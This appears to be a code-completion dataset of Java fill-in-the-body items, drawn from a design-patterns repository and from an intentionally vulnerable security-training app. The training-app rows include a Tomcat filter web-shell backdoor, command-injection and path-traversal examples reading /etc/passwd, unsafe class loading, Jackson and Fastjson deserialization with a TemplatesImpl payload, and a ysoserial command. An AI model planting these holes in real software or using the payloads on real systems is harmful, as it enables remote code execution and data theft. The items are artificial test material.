LOGGER.info("fishV1 name={} age={} length={} weight={}", fishV1.getName(),
fishV1.getAge(), fishV1.getLengthMeters(), fishV1.getWeightTons());
RainbowFishSerializer.writeV1(fishV1, "fish1.out");
// Read V1
var deserializedRain... | 50 | 517 | 567 | <no_super_class> |
iluwatar_java-design-patterns | java-design-patterns/tolerant-reader/src/main/java/com/iluwatar/tolerantreader/RainbowFishSerializer.java | RainbowFishSerializer | readV1 | class RainbowFishSerializer {
public static final String LENGTH_METERS = "lengthMeters";
public static final String WEIGHT_TONS = "weightTons";
private RainbowFishSerializer() {
}
/**
* Write V1 RainbowFish to file.
*/
public static void writeV1(RainbowFish rainbowFish, String filename) throws IOEx... |
Map<String, String> map;
try (var fileIn = new FileInputStream(filename);
var objIn = new ObjectInputStream(fileIn)) {
map = (Map<String, String>) objIn.readObject();
}
return new RainbowFish(
map.get("name"),
Integer.parseInt(map.get("age")),
Integer.parseInt(m... | 548 | 133 | 681 | <no_super_class> |
iluwatar_java-design-patterns | java-design-patterns/trampoline/src/main/java/com/iluwatar/trampoline/TrampolineApp.java | TrampolineApp | loop | class TrampolineApp {
/**
* Main program for showing pattern. It does loop with factorial function.
*/
public static void main(String[] args) {
LOGGER.info("Start calculating war casualties");
var result = loop(10, 1).result();
LOGGER.info("The number of orcs perished in the war: {}", result);
... |
if (times == 0) {
return Trampoline.done(prod);
} else {
return Trampoline.more(() -> loop(times - 1, prod * times));
}
| 152 | 53 | 205 | <no_super_class> |
iluwatar_java-design-patterns | java-design-patterns/transaction-script/src/main/java/com/iluwatar/transactionscript/App.java | App | generateSampleRooms | class App {
private static final String H2_DB_URL = "jdbc:h2:mem:testdb;DB_CLOSE_DELAY=-1";
private static final Logger LOGGER = LoggerFactory.getLogger(App.class);
/**
* Program entry point.
* Initialises an instance of Hotel and adds rooms to it.
* Carries out booking and cancel booking transactions.... |
final var room1 = new Room(1, "Single", 50, false);
final var room2 = new Room(2, "Double", 80, false);
final var room3 = new Room(3, "Queen", 120, false);
final var room4 = new Room(4, "King", 150, false);
final var room5 = new Room(5, "Single", 50, false);
final var room6 = new Room(6, "Doubl... | 762 | 157 | 919 | <no_super_class> |
iluwatar_java-design-patterns | java-design-patterns/transaction-script/src/main/java/com/iluwatar/transactionscript/Hotel.java | Hotel | bookRoom | class Hotel {
private final HotelDaoImpl hotelDao;
public Hotel(HotelDaoImpl hotelDao) {
this.hotelDao = hotelDao;
}
/**
* Book a room.
*
* @param roomNumber room to book
* @throws Exception if any error
*/
public void bookRoom(int roomNumber) throws Exception {<FILL_FUNCTION_BODY>}
/... |
var room = hotelDao.getById(roomNumber);
if (room.isEmpty()) {
throw new Exception("Room number: " + roomNumber + " does not exist");
} else {
if (room.get().isBooked()) {
throw new Exception("Room already booked!");
} else {
var updateRoomBooking = room.get();
u... | 354 | 132 | 486 | <no_super_class> |
iluwatar_java-design-patterns | java-design-patterns/transaction-script/src/main/java/com/iluwatar/transactionscript/HotelDaoImpl.java | HotelDaoImpl | delete | class HotelDaoImpl implements HotelDao {
private final DataSource dataSource;
public HotelDaoImpl(DataSource dataSource) {
this.dataSource = dataSource;
}
@Override
public Stream<Room> getAll() throws Exception {
try {
var connection = getConnection();
var statement = connection.prepare... |
try (var connection = getConnection();
var statement = connection.prepareStatement("DELETE FROM ROOMS WHERE ID = ?")) {
statement.setInt(1, room.getId());
return statement.executeUpdate() > 0;
} catch (Exception e) {
throw new Exception(e.getMessage(), e);
}
| 1,053 | 84 | 1,137 | <no_super_class> |
iluwatar_java-design-patterns | java-design-patterns/twin/src/main/java/com/iluwatar/twin/App.java | App | main | class App {
/**
* Program entry point.
*
* @param args command line args
*/
public static void main(String[] args) throws Exception {<FILL_FUNCTION_BODY>}
private static void waiting() throws Exception {
Thread.sleep(750);
}
} |
var ballItem = new BallItem();
var ballThread = new BallThread();
ballItem.setTwin(ballThread);
ballThread.setTwin(ballItem);
ballThread.start();
waiting();
ballItem.click();
waiting();
ballItem.click();
waiting();
// exit
ballThread.stopMe();
| 82 | 101 | 183 | <no_super_class> |
iluwatar_java-design-patterns | java-design-patterns/twin/src/main/java/com/iluwatar/twin/BallItem.java | BallItem | click | class BallItem extends GameItem {
private boolean isSuspended;
@Setter
private BallThread twin;
@Override
public void doDraw() {
LOGGER.info("doDraw");
}
public void move() {
LOGGER.info("move");
}
@Override
public void click() {<FILL_FUNCTION_BODY>}
} |
isSuspended = !isSuspended;
if (isSuspended) {
twin.suspendMe();
} else {
twin.resumeMe();
}
| 104 | 52 | 156 | <methods>public non-sealed void <init>() ,public abstract void click() ,public abstract void doDraw() ,public void draw() <variables> |
iluwatar_java-design-patterns | java-design-patterns/twin/src/main/java/com/iluwatar/twin/BallThread.java | BallThread | run | class BallThread extends Thread {
@Setter
private BallItem twin;
private volatile boolean isSuspended;
private volatile boolean isRunning = true;
/**
* Run the thread.
*/
public void run() {<FILL_FUNCTION_BODY>}
public void suspendMe() {
isSuspended = true;
LOGGER.info("Begin to suspend... |
while (isRunning) {
if (!isSuspended) {
twin.draw();
twin.move();
}
try {
Thread.sleep(250);
} catch (InterruptedException e) {
throw new RuntimeException(e);
}
}
| 177 | 77 | 254 | <methods>public void <init>() ,public void <init>(java.lang.Runnable) ,public void <init>(java.lang.String) ,public void <init>(java.lang.ThreadGroup, java.lang.Runnable) ,public void <init>(java.lang.ThreadGroup, java.lang.String) ,public void <init>(java.lang.Runnable, java.lang.String) ,public void <init>(java.lang.... |
iluwatar_java-design-patterns | java-design-patterns/typeobjectpattern/src/main/java/com/iluwatar/typeobject/App.java | App | main | class App {
/**
* Program entry point.
*
* @param args command line args
*/
public static void main(String[] args) {<FILL_FUNCTION_BODY>}
} |
var givenTime = 50; //50ms
var toWin = 500; //points
var pointsWon = 0;
var numOfRows = 3;
var start = System.currentTimeMillis();
var end = System.currentTimeMillis();
var round = 0;
while (pointsWon < toWin && end - start < givenTime) {
round++;
var pool = new CellPool(num... | 56 | 322 | 378 | <no_super_class> |
iluwatar_java-design-patterns | java-design-patterns/typeobjectpattern/src/main/java/com/iluwatar/typeobject/CandyGame.java | CandyGame | round | class CandyGame {
Cell[][] cells;
CellPool pool;
int totalPoints;
CandyGame(int num, CellPool pool) {
this.cells = new Cell[num][num];
this.pool = pool;
this.totalPoints = 0;
for (var i = 0; i < num; i++) {
for (var j = 0; j < num; j++) {
this.cells[i][j] = this.pool.getNewCell()... |
var start = System.currentTimeMillis();
var end = System.currentTimeMillis();
while (end - start + timeSoFar < totalTime && continueRound()) {
for (var i = 0; i < this.cells.length; i++) {
var points = 0;
var j = this.cells.length - 1;
while (this.cells[j][i].candy.getType().e... | 980 | 425 | 1,405 | <no_super_class> |
iluwatar_java-design-patterns | java-design-patterns/typeobjectpattern/src/main/java/com/iluwatar/typeobject/Cell.java | Cell | fillThisSpace | class Cell {
Candy candy;
int positionX;
int positionY;
void crush(CellPool pool, Cell[][] cellMatrix) {
//take out from this position and put back in pool
pool.addNewCell(this);
this.fillThisSpace(pool, cellMatrix);
}
void fillThisSpace(CellPool pool, Cell[][] cellMatrix) {<FILL_FUNCTION_BODY... |
for (var y = this.positionY; y > 0; y--) {
cellMatrix[y][this.positionX] = cellMatrix[y - 1][this.positionX];
cellMatrix[y][this.positionX].positionY = y;
}
var newC = pool.getNewCell();
cellMatrix[0][this.positionX] = newC;
cellMatrix[0][this.positionX].positionX = this.positionX;
... | 373 | 134 | 507 | <no_super_class> |
iluwatar_java-design-patterns | java-design-patterns/typeobjectpattern/src/main/java/com/iluwatar/typeobject/CellPool.java | CellPool | assignRandomCandytypes | class CellPool {
private static final SecureRandom RANDOM = new SecureRandom();
public static final String FRUIT = "fruit";
public static final String CANDY = "candy";
List<Cell> pool;
int pointer;
Candy[] randomCode;
CellPool(int num) {
this.pool = new ArrayList<>(num);
try {
this.randomCo... |
var jp = new JsonParser();
jp.parse();
var randomCode = new Candy[jp.candies.size() - 2]; //exclude generic types 'fruit' and 'candy'
var i = 0;
for (var e = jp.candies.keys(); e.hasMoreElements(); ) {
var s = e.nextElement();
if (!s.equals(FRUIT) && !s.equals(CANDY)) {
//not ge... | 530 | 162 | 692 | <no_super_class> |
iluwatar_java-design-patterns | java-design-patterns/typeobjectpattern/src/main/java/com/iluwatar/typeobject/JsonParser.java | JsonParser | parse | class JsonParser {
Hashtable<String, Candy> candies;
JsonParser() {
this.candies = new Hashtable<>();
}
void parse() throws JsonParseException {<FILL_FUNCTION_BODY>}
void setParentAndPoints() {
for (var e = this.candies.keys(); e.hasMoreElements(); ) {
var c = this.candies.get(e.nextElement()... |
var is = this.getClass().getClassLoader().getResourceAsStream("candy.json");
var reader = new InputStreamReader(is);
var json = (JsonObject) com.google.gson.JsonParser.parseReader(reader);
var array = (JsonArray) json.get("candies");
for (var item : array) {
var candy = (JsonObject) item;
... | 210 | 251 | 461 | <no_super_class> |
iluwatar_java-design-patterns | java-design-patterns/unit-of-work/src/main/java/com/iluwatar/unitofwork/App.java | App | main | class App {
/**
* Program entry point.
*
* @param args no argument sent
*/
public static void main(String[] args) {<FILL_FUNCTION_BODY>}
} |
// create some weapons
var enchantedHammer = new Weapon(1, "enchanted hammer");
var brokenGreatSword = new Weapon(2, "broken great sword");
var silverTrident = new Weapon(3, "silver trident");
// create repository
var weaponRepository = new ArmsDealer(new HashMap<String, List<Weapon>>(),
... | 56 | 169 | 225 | <no_super_class> |
iluwatar_java-design-patterns | java-design-patterns/unit-of-work/src/main/java/com/iluwatar/unitofwork/ArmsDealer.java | ArmsDealer | commitDelete | class ArmsDealer implements UnitOfWork<Weapon> {
private final Map<String, List<Weapon>> context;
private final WeaponDatabase weaponDatabase;
@Override
public void registerNew(Weapon weapon) {
LOGGER.info("Registering {} for insert in context.", weapon.getName());
register(weapon, UnitActions.INSERT.... |
var deletedWeapons = context.get(UnitActions.DELETE.getActionValue());
for (var weapon : deletedWeapons) {
LOGGER.info("Scrapping {}.", weapon.getName());
weaponDatabase.delete(weapon);
}
| 667 | 68 | 735 | <no_super_class> |
iluwatar_java-design-patterns | java-design-patterns/update-method/src/main/java/com/iluwatar/updatemethod/App.java | App | main | class App {
private static final int GAME_RUNNING_TIME = 2000;
/**
* Program entry point.
* @param args runtime arguments
*/
public static void main(String[] args) {<FILL_FUNCTION_BODY>}
} |
try {
var world = new World();
var skeleton1 = new Skeleton(1, 10);
var skeleton2 = new Skeleton(2, 70);
var statue = new Statue(3, 20);
world.addEntity(skeleton1);
world.addEntity(skeleton2);
world.addEntity(statue);
world.run();
Thread.sleep(GAME_RUNNING_TIME... | 73 | 153 | 226 | <no_super_class> |
iluwatar_java-design-patterns | java-design-patterns/update-method/src/main/java/com/iluwatar/updatemethod/Skeleton.java | Skeleton | update | class Skeleton extends Entity {
private static final int PATROLLING_LEFT_BOUNDING = 0;
private static final int PATROLLING_RIGHT_BOUNDING = 100;
protected boolean patrollingLeft;
/**
* Constructor of Skeleton.
*
* @param id id of skeleton
*/
public Skeleton(int id) {
super(id);
patroll... |
if (patrollingLeft) {
position -= 1;
if (position == PATROLLING_LEFT_BOUNDING) {
patrollingLeft = false;
}
} else {
position += 1;
if (position == PATROLLING_RIGHT_BOUNDING) {
patrollingLeft = true;
}
}
logger.info("Skeleton {} is on position {}.", id... | 227 | 114 | 341 | <methods>public void <init>(int) ,public abstract void update() <variables>protected int id,protected final Logger logger,protected int position |
iluwatar_java-design-patterns | java-design-patterns/update-method/src/main/java/com/iluwatar/updatemethod/Statue.java | Statue | update | class Statue extends Entity {
protected int frames;
protected int delay;
/**
* Constructor of Statue.
*
* @param id id of statue
*/
public Statue(int id) {
super(id);
this.frames = 0;
this.delay = 0;
}
/**
* Constructor of Statue.
*
* @param id id of statue
* @param d... |
if (++frames == delay) {
shootLightning();
frames = 0;
}
| 221 | 28 | 249 | <methods>public void <init>(int) ,public abstract void update() <variables>protected int id,protected final Logger logger,protected int position |
iluwatar_java-design-patterns | java-design-patterns/update-method/src/main/java/com/iluwatar/updatemethod/World.java | World | processInput | class World {
protected List<Entity> entities;
protected volatile boolean isRunning;
public World() {
entities = new ArrayList<>();
isRunning = false;
}
/**
* Main game loop. This loop will always run until the game is over. For
* each loop it will process user input, update internal status,... |
try {
int lag = new SecureRandom().nextInt(200) + 50;
Thread.sleep(lag);
} catch (InterruptedException e) {
LOGGER.error(e.getMessage());
Thread.currentThread().interrupt();
}
| 463 | 71 | 534 | <no_super_class> |
iluwatar_java-design-patterns | java-design-patterns/value-object/src/main/java/com/iluwatar/value/object/App.java | App | main | class App {
/**
* This example creates three HeroStats (value objects) and checks equality between those.
*/
public static void main(String[] args) {<FILL_FUNCTION_BODY>}
} |
var statA = HeroStat.valueOf(10, 5, 0);
var statB = HeroStat.valueOf(10, 5, 0);
var statC = HeroStat.valueOf(5, 1, 8);
LOGGER.info(statA.toString());
LOGGER.info(statB.toString());
LOGGER.info(statC.toString());
LOGGER.info("Is statA and statB equal : {}", statA.equals(statB));
LOGGER... | 56 | 153 | 209 | <no_super_class> |
iluwatar_java-design-patterns | java-design-patterns/version-number/src/main/java/com/iluwatar/versionnumber/App.java | App | main | class App {
private static final Logger LOGGER = LoggerFactory.getLogger(App.class);
/**
* Program entry point.
*
* @param args command line args
*/
public static void main(String[] args) throws
BookDuplicateException,
BookNotFoundException,
VersionMismatchException {<FILL_FUNCTION_... |
var bookId = 1;
var bookRepository = new BookRepository();
var book = new Book();
book.setId(bookId);
bookRepository.add(book); // adding a book with empty title and author
LOGGER.info("An empty book with version {} was added to repository", book.getVersion());
// Alice and Bob took the b... | 98 | 365 | 463 | <no_super_class> |
iluwatar_java-design-patterns | java-design-patterns/version-number/src/main/java/com/iluwatar/versionnumber/BookRepository.java | BookRepository | update | class BookRepository {
private final Map<Long, Book> collection = new HashMap<>();
/**
* Adds book to collection.
* Actually we are putting copy of book (saving a book by value, not by reference);
*/
public void add(Book book) throws BookDuplicateException {
if (collection.containsKey(book.getId()))... |
if (!collection.containsKey(book.getId())) {
throw new BookNotFoundException("Not found book with id: " + book.getId());
}
var latestBook = collection.get(book.getId());
if (book.getVersion() != latestBook.getVersion()) {
throw new VersionMismatchException(
"Tried to update stale v... | 308 | 176 | 484 | <no_super_class> |
iluwatar_java-design-patterns | java-design-patterns/visitor/src/main/java/com/iluwatar/visitor/App.java | App | main | class App {
/**
* Program entry point.
*
* @param args command line args
*/
public static void main(String[] args) {<FILL_FUNCTION_BODY>}
} |
var commander = new Commander(
new Sergeant(new Soldier(), new Soldier(), new Soldier()),
new Sergeant(new Soldier(), new Soldier(), new Soldier())
);
commander.accept(new SoldierVisitor());
commander.accept(new SergeantVisitor());
commander.accept(new CommanderVisitor());
| 56 | 89 | 145 | <no_super_class> |
JoyChou93_java-sec-code | java-sec-code/src/main/java/org/joychou/RMI/Client.java | Client | main | class Client {
private Client() {}
public static void main(String[] args) {<FILL_FUNCTION_BODY>}
} |
try {
Registry registry = LocateRegistry.getRegistry("localhost");
Hello stub = (Hello) registry.lookup("Hello");
String response = stub.sayHello();
System.out.println("response: " + response);
} catch (Exception e) {
System.err.println("Clien... | 38 | 99 | 137 | <no_super_class> |
JoyChou93_java-sec-code | java-sec-code/src/main/java/org/joychou/RMI/Server.java | Server | main | class Server implements Hello {
public String sayHello() {
return "Hello Word!";
}
public static void main(String args[]) {<FILL_FUNCTION_BODY>}
} |
try {
Server obj = new Server();
Hello stub = (Hello) UnicastRemoteObject.exportObject(obj, 0);
LocateRegistry.createRegistry(1099);
Registry registry = LocateRegistry.getRegistry();
registry.bind("Hello", stub);
System.out.println("绑定109... | 54 | 132 | 186 | <no_super_class> |
JoyChou93_java-sec-code | java-sec-code/src/main/java/org/joychou/config/CustomCorsConfig.java | CustomCorsConfig | addCorsMappings | class CustomCorsConfig extends WebMvcRegistrationsAdapter {
/**
* 设置cors origin白名单。区分http和https，并且默认不会拦截同域请求。
*/
@Bean
public WebMvcConfigurer corsConfigurer() {
return new WebMvcConfigurerAdapter() {
@Override
public void addCorsMappings(CorsRegistry registry) {<F... |
// 为了支持一级域名，重写了checkOrigin
//String[] allowOrigins = {"joychou.org", "http://test.joychou.me"};
registry.addMapping("/cors/sec/webMvcConfigurer") // /**表示所有路由path
//.allowedOrigins(allowOrigins)
.allowedMethods("GET", "POST... | 250 | 105 | 355 | <no_super_class> |
JoyChou93_java-sec-code | java-sec-code/src/main/java/org/joychou/config/HttpServiceConfig.java | CustomClientHttpRequestFactory | prepareConnection | class CustomClientHttpRequestFactory extends SimpleClientHttpRequestFactory {
@Override
protected void prepareConnection(HttpURLConnection connection, String httpMethod) throws IOException {<FILL_FUNCTION_BODY>}
} |
super.prepareConnection(connection, httpMethod);
// Use custom ClientHttpRequestFactory to set followRedirects false.
connection.setInstanceFollowRedirects(false);
| 53 | 45 | 98 | <no_super_class> |
JoyChou93_java-sec-code | java-sec-code/src/main/java/org/joychou/config/Object2Jsonp.java | Object2Jsonp | getRealJsonpFunc | class Object2Jsonp extends AbstractJsonpResponseBodyAdvice {
private final String[] callbacks;
private final Logger logger= LoggerFactory.getLogger(this.getClass());
// method of using @Value in constructor
public Object2Jsonp(@Value("${joychou.security.jsonp.callback}") String[] callbacks) {
... |
String reqCallback = null;
for (String callback: this.callbacks) {
reqCallback = req.getParameter(callback);
if(StringUtils.isNotBlank(reqCallback)) {
break;
}
}
return reqCallback;
| 654 | 69 | 723 | <no_super_class> |
JoyChou93_java-sec-code | java-sec-code/src/main/java/org/joychou/config/SafeDomainConfig.java | SafeDomainConfig | safeDomainParser | class SafeDomainConfig {
private static final Logger LOGGER = LoggerFactory.getLogger(SafeDomainConfig.class);
@Bean // @Bean代表将safeDomainParserf方法返回的对象装配到SpringIOC容器中
public SafeDomainParser safeDomainParser() {<FILL_FUNCTION_BODY>}
} |
try {
LOGGER.info("SafeDomainParser bean inject successfully!!!");
return new SafeDomainParser();
} catch (Exception e) {
LOGGER.error("SafeDomainParser is null " + e.getMessage(), e);
}
return null;
| 85 | 68 | 153 | <no_super_class> |
JoyChou93_java-sec-code | java-sec-code/src/main/java/org/joychou/config/TomcatFilterMemShell.java | TomcatFilterMemShell | doFilter | class TomcatFilterMemShell implements Filter {
static{
try {
System.out.println("Tomcat filter backdoor class is loading...");
final String name = "backdoorTomcatFilter";
final String URLPattern = "/*";
WebappClassLoaderBase webappClassLoaderBase = (WebappCla... |
String cmd;
if ((cmd = servletRequest.getParameter("cmd_")) != null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
... | 773 | 196 | 969 | <no_super_class> |
JoyChou93_java-sec-code | java-sec-code/src/main/java/org/joychou/config/WebSocketsCmdEndpoint.java | WebSocketsCmdEndpoint | onMessage | class WebSocketsCmdEndpoint extends Endpoint implements MessageHandler.Whole<String> {
private Session session;
@Override
public void onOpen(Session session, EndpointConfig endpointConfig) {
this.session = session;
session.addMessageHandler(this);
}
@Override
public void onClos... |
try {
Process process;
boolean bool = System.getProperty("os.name").toLowerCase().startsWith("windows");
if (bool) {
process = Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", s});
} else {
process = Runtime.getRuntime().exe... | 172 | 202 | 374 | <no_super_class> |
JoyChou93_java-sec-code | java-sec-code/src/main/java/org/joychou/config/WebSocketsProxyEndpoint.java | Attach | readFromServer | class Attach {
public AsynchronousSocketChannel client;
public Session channel;
}
void readFromServer(Session channel, AsynchronousSocketChannel client) {<FILL_FUNCTION_BODY> |
final ByteBuffer buffer = ByteBuffer.allocate(50000);
Attach attach = new Attach();
attach.client = client;
attach.channel = channel;
client.read(buffer, attach, new CompletionHandler<Integer, Attach>() {
@Override
public void completed(Integer result, fi... | 52 | 370 | 422 | <no_super_class> |
JoyChou93_java-sec-code | java-sec-code/src/main/java/org/joychou/controller/CRLFInjection.java | CRLFInjection | crlf | class CRLFInjection {
@RequestMapping("/safecode")
@ResponseBody
public void crlf(HttpServletRequest request, HttpServletResponse response) {<FILL_FUNCTION_BODY>}
} |
response.addHeader("test1", request.getParameter("test1"));
response.setHeader("test2", request.getParameter("test2"));
String author = request.getParameter("test3");
Cookie cookie = new Cookie("test3", author);
response.addCookie(cookie);
| 58 | 78 | 136 | <no_super_class> |
JoyChou93_java-sec-code | java-sec-code/src/main/java/org/joychou/controller/ClassDataLoader.java | ClassDataLoader | classData | class ClassDataLoader {
protected final Logger logger = LoggerFactory.getLogger(this.getClass());
@RequestMapping("/classloader")
public void classData() {<FILL_FUNCTION_BODY>}
} |
try{
ServletRequestAttributes sra = (ServletRequestAttributes) RequestContextHolder.getRequestAttributes();
HttpServletRequest request = sra.getRequest();
String classData = request.getParameter("classData");
byte[] classBytes = java.util.Base64.getDecoder().dec... | 59 | 199 | 258 | <no_super_class> |
JoyChou93_java-sec-code | java-sec-code/src/main/java/org/joychou/controller/CommandInject.java | CommandInject | codeInjectSec | class CommandInject {
protected final Logger logger = LoggerFactory.getLogger(this.getClass());
/**
* http://localhost:8080/codeinject?filepath=/tmp;cat /etc/passwd
*
* @param filepath filepath
* @return result
*/
@GetMapping("/codeinject")
public String codeInject(String file... |
String filterFilePath = SecurityUtil.cmdFilter(filepath);
if (null == filterFilePath) {
return "Bad boy. I got u.";
}
String[] cmdList = new String[]{"sh", "-c", "ls -la " + filterFilePath};
ProcessBuilder builder = new ProcessBuilder(cmdList);
builder.redire... | 396 | 119 | 515 | <no_super_class> |
JoyChou93_java-sec-code | java-sec-code/src/main/java/org/joychou/controller/Cookies.java | Cookies | vuln03 | class Cookies {
private static String NICK = "nick";
@GetMapping(value = "/vuln01")
public String vuln01(HttpServletRequest req) {
String nick = WebUtils.getCookieValueByName(req, NICK); // key code
return "Cookie nick: " + nick;
}
@GetMapping(value = "/vuln02")
public String... |
String nick = null;
Cookie cookies[] = req.getCookies();
if (cookies != null) {
for (Cookie cookie : cookies) {
// key code. Equals can also be equalsIgnoreCase.
if (NICK.equals(cookie.getName())) {
nick = cookie.getValue();
... | 470 | 104 | 574 | <no_super_class> |
JoyChou93_java-sec-code | java-sec-code/src/main/java/org/joychou/controller/Cors.java | Cors | vuls1 | class Cors {
private static String info = "{\"name\": \"JoyChou\", \"phone\": \"18200001111\"}";
@GetMapping("/vuln/origin")
public String vuls1(HttpServletRequest request, HttpServletResponse response) {<FILL_FUNCTION_BODY>}
@GetMapping("/vuln/setHeader")
public String vuls2(HttpServletResponse ... |
String origin = request.getHeader("origin");
response.setHeader("Access-Control-Allow-Origin", origin); // set origin from header
response.setHeader("Access-Control-Allow-Credentials", "true"); // allow cookie
return info;
| 914 | 65 | 979 | <no_super_class> |
JoyChou93_java-sec-code | java-sec-code/src/main/java/org/joychou/controller/Deserialize.java | Deserialize | Jackson | class Deserialize {
protected final Logger logger = LoggerFactory.getLogger(this.getClass());
/**
* java -jar ysoserial.jar CommonsCollections5 "open -a Calculator" | base64 <br>
* <a href="http://localhost:8080/deserialize/rememberMe/vuln">http://localhost:8080/deserialize/rememberMe/vuln</a>
... |
ObjectMapper mapper = new ObjectMapper();
mapper.enableDefaultTyping();
try {
Object obj = mapper.readValue(payload, Object.class);
mapper.writeValueAsString(obj);
} catch (IOException e) {
e.printStackTrace();
}
| 775 | 78 | 853 | <no_super_class> |
JoyChou93_java-sec-code | java-sec-code/src/main/java/org/joychou/controller/Dotall.java | Dotall | main | class Dotall {
/**
* <a href="https://github.com/spring-projects/spring-security/compare/5.5.6..5.5.7">官方spring-security修复commit记录</a>
*/
public static void main(String[] args) throws Exception{<FILL_FUNCTION_BODY>}
} |
Pattern vuln_pattern = Pattern.compile("/black_path.*");
Pattern sec_pattern = Pattern.compile("/black_path.*", Pattern.DOTALL);
String poc = URLDecoder.decode("/black_path%0a/xx", StandardCharsets.UTF_8.toString());
System.out.println("Poc: " + poc);
System.out.println("Not do... | 91 | 175 | 266 | <no_super_class> |
JoyChou93_java-sec-code | java-sec-code/src/main/java/org/joychou/controller/Fastjson.java | Fastjson | main | class Fastjson {
@RequestMapping(value = "/deserialize", method = {RequestMethod.POST})
@ResponseBody
public String Deserialize(@RequestBody String params) {
// 如果Content-Type不设置application/json格式，post数据会被url编码
try {
// 将post提交的string转换为json
JSONObject ob = JSON.pars... |
// Open calc in mac
String payload = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\", \"_bytecodes\": [\"yv66vgAAADEAOAoAAwAiBwA2BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGV... | 160 | 1,804 | 1,964 | <no_super_class> |
JoyChou93_java-sec-code | java-sec-code/src/main/java/org/joychou/controller/FileUpload.java | FileUpload | uploadPicture | class FileUpload {
// Save the uploaded file to this folder
private static final String UPLOADED_FOLDER = "/tmp/";
private final Logger logger = LoggerFactory.getLogger(this.getClass());
private static String randomFilePath = "";
// uplaod any file
@GetMapping("/any")
public String index()... |
if (multifile.isEmpty()) {
return "Please select a file to upload";
}
String fileName = multifile.getOriginalFilename();
String Suffix = fileName.substring(fileName.lastIndexOf(".")); // 获取文件后缀名
String mimeType = multifile.getContentType(); // 获取MIME类型
Strin... | 894 | 735 | 1,629 | <no_super_class> |
JoyChou93_java-sec-code | java-sec-code/src/main/java/org/joychou/controller/GetRequestURI.java | GetRequestURI | exclued | class GetRequestURI {
private final Logger logger = LoggerFactory.getLogger(this.getClass());
@GetMapping(value = "/exclued/vuln")
public String exclued(HttpServletRequest request) {<FILL_FUNCTION_BODY>}
} |
String[] excluedPath = {"/css/**", "/js/**"};
String uri = request.getRequestURI(); // Security: request.getServletPath()
PathMatcher matcher = new AntPathMatcher();
logger.info("getRequestURI: " + uri);
logger.info("getServletPath: " + request.getServletPath());
for ... | 73 | 150 | 223 | <no_super_class> |
JoyChou93_java-sec-code | java-sec-code/src/main/java/org/joychou/controller/IPForge.java | IPForge | proxy | class IPForge {
// no any proxy
@RequestMapping("/noproxy")
public static String noProxy(HttpServletRequest request) {
return request.getRemoteAddr();
}
/**
* proxy_set_header X-Real-IP $remote_addr;
* proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for
* if code us... |
String ip = request.getHeader("X-Real-IP");
if (StringUtils.isNotBlank(ip)) {
return ip;
} else {
String remoteAddr = request.getRemoteAddr();
if (StringUtils.isNotBlank(remoteAddr)) {
return remoteAddr;
}
}
return ... | 167 | 88 | 255 | <no_super_class> |
JoyChou93_java-sec-code | java-sec-code/src/main/java/org/joychou/controller/Index.java | Index | appInfo | class Index {
@RequestMapping("/appInfo")
@ResponseBody
public static String appInfo(HttpServletRequest request) {<FILL_FUNCTION_BODY>}
@RequestMapping("/")
public String redirect() {
return "redirect:/index";
}
@RequestMapping("/index")
public static String index(Model model,... |
String username = request.getUserPrincipal().getName();
Map<String, String> m = new HashMap<>();
m.put("tomcat_version", ServerInfo.getServerInfo());
m.put("username", username);
m.put("login", "success");
m.put("app_name", "java security code");
m.put("java_ver... | 133 | 141 | 274 | <no_super_class> |
JoyChou93_java-sec-code | java-sec-code/src/main/java/org/joychou/controller/Jdbc.java | Jdbc | postgresql | class Jdbc {
/**
* <a href="https://github.com/JoyChou93/java-sec-code/wiki/CVE-2022-21724">CVE-2022-21724</a>
*/
@RequestMapping("/postgresql")
public void postgresql(String jdbcUrlBase64) throws Exception{<FILL_FUNCTION_BODY>}
@RequestMapping("/db2")
public void db2(String jdbcUrlBase6... |
byte[] b = java.util.Base64.getDecoder().decode(jdbcUrlBase64);
String jdbcUrl = new String(b);
log.info(jdbcUrl);
DriverManager.getConnection(jdbcUrl);
| 229 | 64 | 293 | <no_super_class> |
JoyChou93_java-sec-code | java-sec-code/src/main/java/org/joychou/controller/Jsonp.java | Jsonp | getCsrfToken2 | class Jsonp {
private String callback = WebConfig.getBusinessCallback();
@Autowired
CookieCsrfTokenRepository cookieCsrfTokenRepository;
/**
* Set the response content-type to application/javascript.
* <p>
* http://localhost:8080/jsonp/vuln/referer?callback_=test
*/
@RequestMap... |
CsrfToken csrfToken = cookieCsrfTokenRepository.loadToken(request); // get csrf token
String callback = request.getParameter("fastjsonpCallback");
if (StringUtils.isNotBlank(callback)) {
JSONPObject jsonpObj = new JSONPObject(callback);
jsonpObj.addParameter(csrfToken);... | 1,118 | 119 | 1,237 | <no_super_class> |
JoyChou93_java-sec-code | java-sec-code/src/main/java/org/joychou/controller/Login.java | Login | logoutPage | class Login {
protected final Logger logger = LoggerFactory.getLogger(this.getClass());
@RequestMapping("/login")
public String login() {
return "login";
}
@GetMapping("/logout")
public String logoutPage(HttpServletRequest request, HttpServletResponse response) {<FILL_FUNCTION_BODY>}
... |
String username = request.getUserPrincipal().getName();
Authentication auth = SecurityContextHolder.getContext().getAuthentication();
if (auth != null) {
new SecurityContextLogoutHandler().logout(request, response, auth);
}
String[] deleteCookieKey = {"JSESSIONID"... | 94 | 226 | 320 | <no_super_class> |
JoyChou93_java-sec-code | java-sec-code/src/main/java/org/joychou/controller/PathTraversal.java | PathTraversal | getImgBase64 | class PathTraversal {
protected final Logger logger = LoggerFactory.getLogger(this.getClass());
/**
* http://localhost:8080/path_traversal/vul?filepath=../../../../../etc/passwd
*/
@GetMapping("/path_traversal/vul")
public String getImage(String filepath) throws IOException {
return ... |
logger.info("Working directory: " + System.getProperty("user.dir"));
logger.info("File path: " + imgFile);
File f = new File(imgFile);
if (f.exists() && !f.isDirectory()) {
byte[] data = Files.readAllBytes(Paths.get(imgFile));
return new String(Base64.encodeBas... | 301 | 128 | 429 | <no_super_class> |
